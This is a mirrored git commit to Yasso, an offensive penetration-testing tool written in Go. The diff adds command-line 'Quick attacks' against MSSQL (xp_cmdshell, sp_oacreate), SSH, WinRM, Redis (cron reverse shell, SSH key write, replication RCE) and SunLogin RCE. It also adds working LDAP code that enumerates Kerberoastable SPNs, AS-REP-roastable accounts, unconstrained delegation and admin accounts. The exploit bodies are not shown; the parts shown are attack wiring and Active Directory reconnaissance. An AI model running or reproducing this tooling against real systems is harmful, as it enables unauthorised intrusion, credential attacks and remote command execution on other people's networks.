1
0
mirror of https://github.com/sairson/Yasso.git synced 2026-02-07 20:44:21 +08:00

Yasso更新大改动,更新扫描方式,去除不常用功能,增加指纹和协议识别,修补bug等

This commit is contained in:
sairson
2022-05-29 09:11:07 +08:00
parent a6cd80f8e8
commit cb72f18edd
129 changed files with 16619 additions and 6278 deletions

View File

@@ -0,0 +1,9 @@
package config
// Exploits exp结构体
type Exploits struct {
Hostname string // 地址
Port int // 端口
User string // 连接用的用户名
Pass string // 连接用的密码
}

View File

@@ -0,0 +1,56 @@
package config
import (
"database/sql"
)
type Results struct {
Columns []string
Rows [][]string
}
func SQLExecute(db *sql.DB, q string) (*Results, error) {
if q == "" {
return nil, nil
}
rows, err := db.Query(q)
//rows, err := db.Query(q)
if err != nil {
return nil, err
}
columns, err := rows.Columns()
if err != nil {
return nil, err
}
var results [][]string
for rows.Next() {
rs := make([]sql.NullString, len(columns))
rsp := make([]interface{}, len(columns))
for i := range rs {
rsp[i] = &rs[i]
}
if err = rows.Scan(rsp...); err != nil {
break
}
_rs := make([]string, len(columns))
for i := range rs {
_rs[i] = rs[i].String
}
results = append(results, _rs)
}
if closeErr := rows.Close(); closeErr != nil {
return nil, closeErr
}
if err != nil {
return nil, err
}
if err := rows.Err(); err != nil {
return nil, err
}
return &Results{
Columns: columns,
Rows: results,
}, nil
}

213
pkg/exploit/exploit.go Normal file
View File

@@ -0,0 +1,213 @@
package exploit
import (
"Yasso/core/logger"
"Yasso/pkg/exploit/config"
"Yasso/pkg/exploit/ldap"
"Yasso/pkg/exploit/mssql"
"Yasso/pkg/exploit/redis"
"Yasso/pkg/exploit/ssh"
"Yasso/pkg/exploit/sunlogin"
"Yasso/pkg/exploit/winrm"
"github.com/spf13/cobra"
)
type ExpFlags struct {
Hostname string
Port int
User string
Pass string
KeyFile string
Rebound string
Command string
Method int // 每一个Exp的子方法
Listen string // 本地监听地址
SoPath string // so文件路径
Filter string // ldap的过滤器
LdapCmd bool // ldap的查询命令显示
LdapAll bool // 是否自动查询ldap
LdapName string // Ldap的name属性
}
var mssqlFlag ExpFlags
var MssqlCmd = &cobra.Command{
Use: "mssql",
Short: "Quick attacks on MSSQL services",
Run: func(cmd *cobra.Command, args []string) {
if mssqlFlag.Hostname == "" {
_ = cmd.Help()
return
}
switch mssqlFlag.Method {
case 1:
mssql.ExploitMssql(config.Exploits{
Hostname: mssqlFlag.Hostname,
Port: mssqlFlag.Port,
User: mssqlFlag.User,
Pass: mssqlFlag.Pass,
}, 1, mssqlFlag.Command)
case 2:
mssql.ExploitMssql(config.Exploits{
Hostname: mssqlFlag.Hostname,
Port: mssqlFlag.Port,
User: mssqlFlag.User,
Pass: mssqlFlag.Pass,
}, 2, mssqlFlag.Command)
case 3:
mssql.ExploitMssql(config.Exploits{
Hostname: mssqlFlag.Hostname,
Port: mssqlFlag.Port,
User: mssqlFlag.User,
Pass: mssqlFlag.Pass,
}, 3, mssqlFlag.Command)
case 4:
mssql.ExploitMssql(config.Exploits{
Hostname: mssqlFlag.Hostname,
Port: mssqlFlag.Port,
User: mssqlFlag.User,
Pass: mssqlFlag.Pass,
}, 4, mssqlFlag.Command)
default:
logger.Fatal("not found exploit method")
return
}
},
}
var sshFlag ExpFlags
var SshCmd = &cobra.Command{
Use: "ssh",
Short: "Quick attacks on SSH services",
Run: func(cmd *cobra.Command, args []string) {
if sshFlag.Hostname == "" {
_ = cmd.Help()
return
}
ssh.ExploitSSH(config.Exploits{
Hostname: sshFlag.Hostname,
Port: sshFlag.Port,
User: sshFlag.User,
Pass: sshFlag.Pass,
}, sshFlag.KeyFile)
},
}
var winrmFlag ExpFlags
var WinRmCmd = &cobra.Command{
Use: "winrm",
Short: "Quick attacks on WinRM services",
Run: func(cmd *cobra.Command, args []string) {
if winrmFlag.Hostname == "" {
_ = cmd.Help()
return
}
winrm.ExploitWinRM(config.Exploits{
Hostname: winrmFlag.Hostname,
Port: winrmFlag.Port,
User: winrmFlag.User,
Pass: winrmFlag.Pass,
}, winrmFlag.Command, winrmFlag.Method)
},
}
var redisFlag ExpFlags
var RedisCmd = &cobra.Command{
Use: "redis",
Short: "Quick attacks on Redis services",
Run: func(cmd *cobra.Command, args []string) {
if redisFlag.Hostname == "" {
_ = cmd.Help()
return
}
redis.ExploitRedis(config.Exploits{
Hostname: redisFlag.Hostname,
Port: redisFlag.Port,
User: "",
Pass: redisFlag.Pass,
}, redisFlag.Method, redisFlag.Rebound, redisFlag.KeyFile, redisFlag.Listen, "")
},
}
var sunLoginFlag ExpFlags
var SunLoginCmd = &cobra.Command{
Use: "sunlogin",
Short: "Quick attacks on SunLogin services (RCE)",
Run: func(cmd *cobra.Command, args []string) {
if sunLoginFlag.Hostname == "" {
_ = cmd.Help()
return
}
if sunLoginFlag.Port == 0 {
logger.Fatal("input sunlogin port")
return
} else {
sunlogin.ExploitSunLogin(config.Exploits{
Hostname: sunLoginFlag.Hostname,
Port: sunLoginFlag.Port,
User: "",
Pass: "",
}, sunLoginFlag.Command)
}
},
}
var LdapReaperFlag ExpFlags
var LdapReaperCmd = &cobra.Command{
Use: "ldap",
Short: "ldap single query with filter and fast automatic query",
Run: func(cmd *cobra.Command, args []string) {
if LdapReaperFlag.Hostname == "" || LdapReaperFlag.User == "" {
_ = cmd.Help()
return
}
if LdapReaperFlag.LdapCmd == true {
ldap.ListLdapCommand()
return
} else {
if LdapReaperFlag.Command != "" {
LdapReaperFlag.LdapAll = false
}
ldap.LdapAuthAndQuery(LdapReaperFlag.Hostname, LdapReaperFlag.User, LdapReaperFlag.Pass, LdapReaperFlag.Command, LdapReaperFlag.Filter, LdapReaperFlag.LdapName, LdapReaperFlag.LdapAll)
}
},
}
func init() {
MssqlCmd.Flags().StringVar(&mssqlFlag.Hostname, "host", "", "设置mssql连接主机地址")
MssqlCmd.Flags().StringVar(&mssqlFlag.Command, "cmd", "", "执行的system命令")
MssqlCmd.Flags().IntVar(&mssqlFlag.Port, "port", 1433, "设置mssql连接主机端口")
MssqlCmd.Flags().StringVar(&mssqlFlag.User, "user", "sa", "设置连接的用户名")
MssqlCmd.Flags().StringVar(&mssqlFlag.Pass, "pass", "", "设置连接的密码")
MssqlCmd.Flags().IntVar(&mssqlFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][xp_cmdshell]\n[2][sp_oacreate]\n[3][install SharpSQLKit]\n[4][uninstall SharpSQLKit]")
SshCmd.Flags().StringVar(&sshFlag.Hostname, "host", "", "设置ssh连接主机地址")
SshCmd.Flags().StringVar(&sshFlag.KeyFile, "key", "", "设置ssh的连接密钥")
SshCmd.Flags().StringVar(&sshFlag.User, "user", "root", "设置连接的用户名")
SshCmd.Flags().StringVar(&sshFlag.Pass, "pass", "", "设置连接的密码")
SshCmd.Flags().IntVar(&sshFlag.Port, "port", 22, "设置ssh的连接端口")
RedisCmd.Flags().StringVar(&redisFlag.Hostname, "host", "", "设置redis主机的连接地址")
RedisCmd.Flags().StringVar(&redisFlag.Rebound, "rebound", "", "设置redis定时计划反弹shell地址")
RedisCmd.Flags().StringVar(&redisFlag.KeyFile, "key", "", "设置redis写入公钥的本地文件路径")
RedisCmd.Flags().StringVar(&redisFlag.Listen, "listen", "127.0.0.1:8888", "设置redis主从服务本地监听")
RedisCmd.Flags().StringVar(&redisFlag.Pass, "pass", "", "设置redis的连接密码")
RedisCmd.Flags().StringVar(&redisFlag.SoPath, "so", "", "设置其他so文件路径")
RedisCmd.Flags().IntVar(&redisFlag.Port, "port", 6379, "设置redis的连接端口")
RedisCmd.Flags().IntVar(&redisFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][redis定时计划反弹shell]\n[2][redis公钥写入]\n[3][redis主从复制RCE(需要对方主机可以访问服务启动主机)]")
WinRmCmd.Flags().StringVar(&winrmFlag.Hostname, "host", "", "设置winrm连接主机")
WinRmCmd.Flags().StringVar(&winrmFlag.User, "user", "administrator", "设置winrm连接用户")
WinRmCmd.Flags().StringVar(&winrmFlag.Pass, "pass", "", "设置winrm连接密码")
WinRmCmd.Flags().StringVar(&winrmFlag.Command, "cmd", "whoami", "设置winrm执行的命令")
WinRmCmd.Flags().IntVar(&winrmFlag.Port, "port", 5985, "设置winrm连接端口")
WinRmCmd.Flags().IntVar(&winrmFlag.Method, "method", 1, "设置exploit方法(.eg)\n[1][winrm单命令执行,需配合cmd参数]\n[2][winrm正向shell方式执行]")
SunLoginCmd.Flags().StringVar(&sunLoginFlag.Hostname, "host", "", "设置向日葵主机地址")
SunLoginCmd.Flags().IntVar(&sunLoginFlag.Port, "port", 0, "设置向日葵端口")
SunLoginCmd.Flags().StringVar(&sunLoginFlag.Command, "cmd", "whoami", "设置system命令")
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Hostname, "dc", "", "设置dc的主机名(FQDN)")
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.User, "user", "", "设置域用户名称(.eg)[KLION\\Oadmin]")
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Pass, "pass", "", "设置域用户密码")
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Filter, "filter", "full-data", "设置过滤器,一般为full-data")
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.Command, "cmd", "", "设置查询命令,可通过ldap-cmd查看")
LdapReaperCmd.Flags().BoolVar(&LdapReaperFlag.LdapCmd, "ldap-cmd", false, "列出ldap可用的查询命令")
LdapReaperCmd.Flags().BoolVar(&LdapReaperFlag.LdapAll, "ldap-all", true, "是否采用自动ldap查询(将查询默认ldap信息)")
LdapReaperCmd.Flags().StringVar(&LdapReaperFlag.LdapName, "name", "", "域(成员,组,计算机)名称")
}

View File

@@ -0,0 +1,8 @@
package filter
import "strings"
// LdapFilter ldap过滤器
func LdapFilter(needle string, filterDN string) string {
return strings.Replace(filterDN, "{username}", needle, -1)
}

View File

@@ -0,0 +1,69 @@
package query
var PwdFlags = map[int]string{
0x01: "PASSWORD_COMPLEX",
0x02: "PASSWORD_NO_ANON_CHANGE",
0x04: "PASSWORD_NO_CLEAR_CHANGE",
0x08: "LOCKOUT_ADMINS",
0x10: "PASSWORD_STORE_CLEARTEXT",
0x20: "REFUSE_PASSWORD_CHANGE",
}
var UacFlags = map[int]string{
0x00000002: "ACCOUNT_DISABLED",
0x00000010: "ACCOUNT_LOCKED",
0x00000020: "PASSWD_NOTREQD",
0x00000040: "PASSWD_CANT_CHANGE",
0x00000080: "PASSWORD_STORE_CLEARTEXT",
0x00000200: "NORMAL_ACCOUNT",
0x00001000: "WORKSTATION_ACCOUNT",
0x00002000: "SERVER_TRUST_ACCOUNT",
0x00010000: "DONT_EXPIRE_PASSWD",
0x00040000: "SMARTCARD_REQUIRED",
0x00080000: "TRUSTED_FOR_DELEGATION",
0x00100000: "NOT_DELEGATED",
0x00200000: "USE_DES_KEY_ONLY",
0x00400000: "DONT_REQ_PREAUTH",
0x00800000: "PASSWORD_EXPIRED",
0x01000000: "TRUSTED_TO_AUTH_FOR_DELEGATION",
0x04000000: "PARTIAL_SECRETS_ACCOUNT",
}
var SamType = map[int64]string{
0x0: "SAM_DOMAIN_OBJECT",
0x10000000: "SAM_GROUP_OBJECT",
0x10000001: "SAM_NON_SECURITY_GROUP_OBJECT",
0x20000000: "SAM_ALIAS_OBJECT",
0x20000001: "SAM_NON_SECURITY_ALIAS_OBJECT",
0x30000000: "SAM_USER_OBJECT",
0x30000001: "SAM_MACHINE_ACCOUNT",
0x30000002: "SAM_TRUST_ACCOUNT",
0x40000000: "SAM_APP_BASIC_GROUP",
0x40000001: "SAM_APP_QUERY_GROUP",
0x7fffffff: "SAM_ACCOUNT_TYPE_MAX",
}
var Trust = map[int]string{
0x00000001: "NON_TRANSITIVE",
0x00000002: "UPLEVEL_ONLY",
0x00000004: "QUARANTINED_DOMAIN",
0x00000008: "FOREST_TRANSITIVE",
0x00000010: "CROSS_ORGANIZATION",
0x00000020: "WITHIN_FOREST",
0x00000040: "TREAT_AS_EXTERNAL",
0x00000080: "USES_RC4_ENCRYPTION",
0x00000200: "CROSS_ORGANIZATION_NO_TGT_DELEGATION",
0x00000400: "PIM_TRUST",
0x00000800: "CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION",
}
var TrustDirections = map[int]string{
0x01: "INBOUND",
0x02: "OUTBOUND",
0x03: "BIDIRECTIONAL",
}
var TrustType = map[int]string{
0x01: "DOWNLEVEL",
0x02: "UPLEVEL",
0x03: "MIT",
}

View File

@@ -0,0 +1,60 @@
package query
// LdapQueries ldap的查询字符串
var LdapQueries = map[string]string{
"users": "(objectClass=user)",
"groups": "(objectClass=group)",
"computers": "(objectClass=Computer)",
"dc": "(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))",
"gpo": "(objectClass=groupPolicyContainer)",
"spn": "(&(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))",
"unconstrained-users": "(&(&(objectCategory=person)(objectClass=user))(userAccountControl:1.2.840.113556.1.4.803:=524288))",
"unconstrained-computers": "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))",
"ms-sql": "(&(objectCategory=computer)(servicePrincipalName=MSSQLSvc*))",
"never-loggedon": "(&(objectCategory=person)(objectClass=user)(|(lastLogonTimestamp=0)(!(lastLogonTimestamp=*))))",
"admin-priv": "(adminCount=1)",
"domain-trust": "(objectClass=trustedDomain)",
"ou": "(&(objectCategory=organizationalUnit)(ou=*))",
"group-members": "(&(objectCategory=user)(memberOf={DN}))",
"specific-users": "(&(objectCategory=user)(sAMAccountName={SAM}))",
"specific-computers": "(&(objectClass=Computer)(cn={SAM}))",
"specific-groups": "(&(objectCategory=group)(sAMAccountName={SAM}))",
"specific-spn": "(&(&(servicePrincipalName=*)(cn={SAM})(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))",
"specific-ms-sql": "(&(objectCategory=computer)(cn={SAM})(servicePrincipalName=MSSQLSvc*))",
"asreproast": "(&(objectClass=user)(objectCategory=user)(useraccountcontrol:1.2.840.113556.1.4.803:=4194304))",
"unconstrained": "(|(&(objectClass=Computer)(useraccountcontrol:1.2.840.113556.1.4.803:=524288))(&(objectClass=user)(useraccountcontrol:1.2.840.113556.1.4.803:=524288)))",
}
var ldapCommands = map[string]string{
"users": "Users",
"user-logs": "User Properties",
"groups": "Groups",
"computers": "Computers",
"dc": "Domain Controllers",
"gpo": "Group Policy Objects",
"spn": "Service Principal Names",
"never-loggedon": "Users Never LoggedOn",
"ms-sql": "MS-SQL Servers",
"admin-priv": "Admin Priv",
"domain-trust": "Trusted Domain",
"ou": "Organizational Units",
"asreproast": "AS-REP Roastable Accounts",
"unconstrained": "Unconstrained Delegation",
}
var LdapCommandAndFilter = map[string]string{
"users": "full-data",
"user-logs": "",
"groups": "full-data",
"computers": "full-data",
"dc": "",
"gpo": "",
"spn": "",
"never-loggedon": "",
"ms-sql": "full-data",
"admin-priv": "",
"domain-trust": "",
"ou": "",
"asreproast": "",
"unconstrained": "",
}

View File

@@ -0,0 +1,197 @@
package query
import (
"Yasso/core/logger"
"github.com/jedib0t/go-pretty/v6/table"
"gopkg.in/ldap.v2"
"os"
)
type Server struct {
LdapServer string // dc地址
LdapUser string // 用户名(域用户即可)
LdapPassword string // 密码
}
// ldap的连接函数
func (s *Server) ldapConn() (*ldap.Conn, bool, error) {
conn, err := ldap.Dial("tcp", s.LdapServer)
if err != nil {
return nil, false, err
}
if err := conn.Bind(s.LdapUser, s.LdapPassword); err != nil {
return nil, false, err
}
return conn, true, nil
}
func LdapListQuery(dc, user, pass, baseDN, command, filter, name string, all bool) {
server := Server{
LdapServer: dc,
LdapPassword: pass,
LdapUser: user,
}
conn, flag, err := server.ldapConn()
defer conn.Close()
if flag == false || err != nil {
logger.Fatal("ldap server connect failed")
return
}
if all == true {
// 查询全部ldap并采用full-data过滤器
for i, f := range LdapCommandAndFilter {
err := LdapQuery(conn, baseDN, i, f, name)
if err != nil {
logger.Fatal(err.Error())
return
}
}
} else {
err := LdapQuery(conn, baseDN, command, filter, name)
if err != nil {
logger.Fatal(err.Error())
return
}
}
}
// LdapQuery 传入baseDN,
func LdapQuery(conn *ldap.Conn, baseDN string, command string, filter string, name string) error {
t := table.NewWriter()
t.SetOutputMirror(os.Stdout)
t.AppendHeader(table.Row{ldapCommands[command]})
t.SetColumnConfigs([]table.ColumnConfig{
{
Name: ldapCommands[command],
WidthMin: 20,
WidthMax: 100,
},
})
if command == "users" && filter == "list" && name == "" {
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "users" && filter == "full-data" && name == "" {
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "users" && name != "" && filter != "membership" {
if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "users" && name != "" && filter == "membership" {
if err := LdapUserMemberShipResolver(t, conn, baseDN, name, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "computers" && filter == "list" && name == "" {
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "computers" && filter == "full-data" && name == "" {
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "computers" && name != "" {
if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "groups" && filter == "list" && name == "" {
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "groups" && filter == "full-data" && name == "" {
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "groups" && name != "" && filter != "membership" {
if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "groups" && filter == "membership" && name != "" {
if err := LdapGroupResolver(t, conn, baseDN, name); err != nil {
logger.Fatal(err.Error())
}
}
if command == "dc" {
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "domain-trust" {
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "spn" && filter == "list" && name == "" {
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "spn" && filter == "full-data" && name == "" {
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "spn" && name != "" {
if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "never-loggedon" && filter == "list" && name == "" {
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "gpo" && name == "" {
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "ou" && name == "" {
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "ms-sql" && filter == "list" && name == "" {
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "ms-sql" && filter == "full-data" && name == "" {
if err := LdapFullResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "ms-sql" && name != "" {
if err := LdapSpecificFullResolver(t, conn, baseDN, name, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "asreproast" {
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "unconstrained" {
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
if command == "admin-priv" {
if err := LdapListResolver(t, conn, baseDN, command); err != nil {
logger.Fatal(err.Error())
}
}
t.Render()
return nil
}

View File

@@ -0,0 +1,433 @@
package query
import (
"Yasso/pkg/exploit/ldap/core/filter"
"encoding/binary"
"fmt"
"github.com/audibleblink/bamflags"
"github.com/bwmarrin/go-objectsid"
"github.com/jedib0t/go-pretty/v6/table"
"gopkg.in/ldap.v2"
"math"
"strconv"
"strings"
)
// LdapListResolver ldap查询解析器
func LdapListResolver(t table.Writer, conn *ldap.Conn, baseDN string, command string) error {
res, err := conn.SearchWithPaging(ldap.NewSearchRequest(
baseDN,
ldap.ScopeWholeSubtree,
ldap.NeverDerefAliases,
math.MaxInt32,
0,
false,
filter.LdapFilter("*", LdapQueries[command]),
[]string{},
nil,
), math.MaxInt32)
if err != nil {
return err
}
// 查询到数据
if len(res.Entries) > 0 {
for _, m := range res.Entries {
t.AppendRows([]table.Row{
{fmt.Sprintf(" - %s", m.GetAttributeValue("sAMAccountName"))},
})
}
t.AppendSeparator()
if command == "users" {
t.AppendRows([]table.Row{
{strconv.Itoa(len(res.Entries)) + "Domain Users Found"},
})
}
if command == "computers" {
t.AppendRows([]table.Row{
{strconv.Itoa(len(res.Entries)) + " Domain Computers Found"},
})
}
if command == "groups" {
t.AppendRows([]table.Row{
{strconv.Itoa(len(res.Entries)) + " Domain Groups Found"},
})
}
}
return nil
}
// LdapFullResolver ldap的完全解析器
func LdapFullResolver(t table.Writer, conn *ldap.Conn, baseDN string, command string) error {
res, err := conn.SearchWithPaging(ldap.NewSearchRequest(
baseDN,
ldap.ScopeWholeSubtree,
ldap.NeverDerefAliases,
math.MaxInt32,
0,
false,
filter.LdapFilter("*", LdapQueries[command]),
[]string{},
nil,
), math.MaxInt32)
if err != nil {
return nil
}
// 查询到数据
if len(res.Entries) > 0 {
for _, m := range res.Entries {
LdapResolver(m, t)
t.AppendSeparator()
}
}
return nil
}
// LdapSpecificFullResolver ldap的特殊解析器
func LdapSpecificFullResolver(t table.Writer, conn *ldap.Conn, baseDN string, name string, command string) error {
res, err := conn.SearchWithPaging(ldap.NewSearchRequest(
baseDN,
ldap.ScopeWholeSubtree,
ldap.NeverDerefAliases,
math.MaxInt32,
0,
false,
filter.LdapFilter("*", strings.ReplaceAll(LdapQueries[fmt.Sprintf("specific-%s", command)], "{SAM}", name)),
[]string{},
nil,
), math.MaxInt32)
if err != nil {
return err
}
if len(res.Entries) > 0 {
for _, m := range res.Entries {
LdapResolver(m, t)
t.AppendSeparator()
}
}
return nil
}
func LdapUserMemberShipResolver(t table.Writer, conn *ldap.Conn, baseDN string, name string, command string) error {
res, err := conn.SearchWithPaging(ldap.NewSearchRequest(
baseDN,
ldap.ScopeWholeSubtree,
ldap.NeverDerefAliases,
math.MaxInt32,
0,
false,
filter.LdapFilter("*", strings.ReplaceAll(LdapQueries[fmt.Sprintf("specific-%s", command)], "{SAM}", name)),
[]string{},
nil,
), math.MaxInt32)
if err != nil {
return err
}
if len(res.Entries) > 0 {
for _, m := range res.Entries {
if len(m.GetAttributeValue("memberOf")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Member of: \n\t%s", strings.Join(m.GetAttributeValues("memberOf"), "\n\t"))},
})
}
}
}
return nil
}
func LdapGroupDN(conn *ldap.Conn, baseDN string, name string) string {
res, err := conn.SearchWithPaging(ldap.NewSearchRequest(
baseDN,
ldap.ScopeWholeSubtree,
ldap.NeverDerefAliases,
math.MaxInt32,
0,
false,
filter.LdapFilter("*", strings.ReplaceAll(LdapQueries["specific-groups"], "{SAM}", name)),
[]string{},
nil,
), math.MaxInt32)
if err != nil {
fmt.Println(err)
}
if len(res.Entries) > 0 {
for _, m := range res.Entries {
return m.DN
}
}
return ""
}
func LdapGroupResolver(t table.Writer, conn *ldap.Conn, baseDN string, name string) error {
result, err := conn.SearchWithPaging(ldap.NewSearchRequest(
baseDN,
ldap.ScopeWholeSubtree,
ldap.NeverDerefAliases,
math.MaxInt32,
0,
false,
filter.LdapFilter("*", strings.ReplaceAll(LdapQueries["group-members"], "{DN}", LdapGroupDN(conn, baseDN, name))),
[]string{},
nil,
), math.MaxInt32)
if err != nil {
fmt.Println(err)
}
if len(result.Entries) > 0 {
t.AppendRows([]table.Row{
{"Domain users in group: "},
})
for _, m := range result.Entries {
t.AppendRows([]table.Row{
{fmt.Sprintf(" - %s", m.GetAttributeValue("sAMAccountName"))},
})
}
}
return nil
}
func LdapParse(attr int64, Map map[int]string) []string {
values, err := bamflags.ParseInt(attr)
if err != nil {
return []string{}
}
var all []string
for _, value := range values {
if propName := Map[value]; propName != "" {
all = append(all, propName)
}
}
return all
}
func LdapGUID(b []byte) (string, error) {
if len(b) != 16 {
return "", fmt.Errorf("guid must be 16 bytes")
}
return fmt.Sprintf(
"%08x-%04x-%04x-%04x-%012x",
binary.LittleEndian.Uint32(b[:4]),
binary.LittleEndian.Uint16(b[4:6]),
binary.LittleEndian.Uint16(b[6:8]),
b[8:10],
b[10:]), nil
}
func LdapSID(b []byte) (string, error) {
if len(b) < 12 {
return "", fmt.Errorf("[+]Invalid Windows SID")
}
sid := objectsid.Decode(b)
return sid.String(), nil
}
// LdapResolver ldap的解析器
func LdapResolver(entry *ldap.Entry, t table.Writer) {
// DN
if len(entry.DN) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("DN: %s", entry.DN)},
})
}
// 用户名
if len(entry.GetAttributeValue("sAMAccountName")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("SAM Account Name: %s", entry.GetAttributeValue("sAMAccountName"))},
})
}
// 用户名类型
if len(entry.GetAttributeValue("sAMAccountType")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("SAM Account Type: %s", entry.GetAttributeValue("sAMAccountType"))},
})
}
// Mail
if len(entry.GetAttributeValue("mail")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Mail ID: %s", entry.GetAttributeValue("mail"))},
})
}
// UID
if len(entry.GetAttributeValue("uid")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("UID: %s", entry.GetAttributeValue("uid"))},
})
}
// OU
if len(entry.GetAttributeValue("ou")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("OU: %s", entry.GetAttributeValue("ou"))},
})
}
// CN
if len(entry.GetAttributeValue("cn")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("CN: %s", entry.GetAttributeValue("cn"))},
})
}
if len(entry.GetAttributeValue("givenName")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Given Name: %s", entry.GetAttributeValue("givenName"))},
})
}
if len(entry.GetAttributeValue("sn")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("SN: %s", entry.GetAttributeValue("sn"))},
})
}
if len(entry.GetAttributeValue("description")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Description: %s", entry.GetAttributeValue("description"))},
})
}
if len(entry.GetAttributeValue("title")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Title: %s", entry.GetAttributeValue("title"))},
})
}
if len(entry.GetAttributeValue("c")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Country: %s", entry.GetAttributeValue("c"))},
})
}
if len(entry.GetAttributeValue("co")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Country Code: %s", entry.GetAttributeValue("co"))},
})
}
if len(entry.GetAttributeValue("l")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("City: %s", entry.GetAttributeValue("l"))},
})
}
if len(entry.GetAttributeValue("st")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("State: %s", entry.GetAttributeValue("st"))},
})
}
if len(entry.GetAttributeValue("streetAddress")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Street Address: %s", entry.GetAttributeValue("streetAddress"))},
})
}
if len(entry.GetAttributeValue("postalCode")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Postal Code: %s", entry.GetAttributeValue("postalCode"))},
})
}
if len(entry.GetAttributeValue("postOfficeBox")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Post Office Box: %s", entry.GetAttributeValue("postOfficeBox"))},
})
}
if len(entry.GetAttributeValue("company")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Company: %s", entry.GetAttributeValue("company"))},
})
}
if len(entry.GetAttributeValue("instanceType")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Instance Type: %s", entry.GetAttributeValue("instanceType"))},
})
}
if len(entry.GetAttributeValue("objectClass")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Object Class: %s", strings.Join(entry.GetAttributeValues("objectClass"), ", "))},
})
}
if len(entry.GetAttributeValue("objectCategory")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Object Category: %s", entry.GetAttributeValue("objectCategory"))},
})
}
if len(entry.GetAttributeValue("memberOf")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Member Of: \n\t%s", strings.Join(entry.GetAttributeValues("memberOf"), "\n\t"))},
})
}
if len(entry.GetAttributeValue("dNSHostName")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("DNS Host Name: %s", entry.GetAttributeValue("dNSHostName"))},
})
}
if len(entry.GetAttributeValue("servicePrincipalName")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Service Principal Name (SPN): \n\t%s", strings.Join(entry.GetAttributeValues("servicePrincipalName"), "\n\t"))},
})
}
if len(entry.GetAttributeValue("operatingSystem")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Operating System: %s", entry.GetAttributeValue("operatingSystem"))},
})
}
if len(entry.GetAttributeValue("operatingSystemVersion")) > 0 {
t.AppendRows([]table.Row{
{fmt.Sprintf("Operating System Version: %s", entry.GetAttributeValue("operatingSystemVersion"))},
})
}
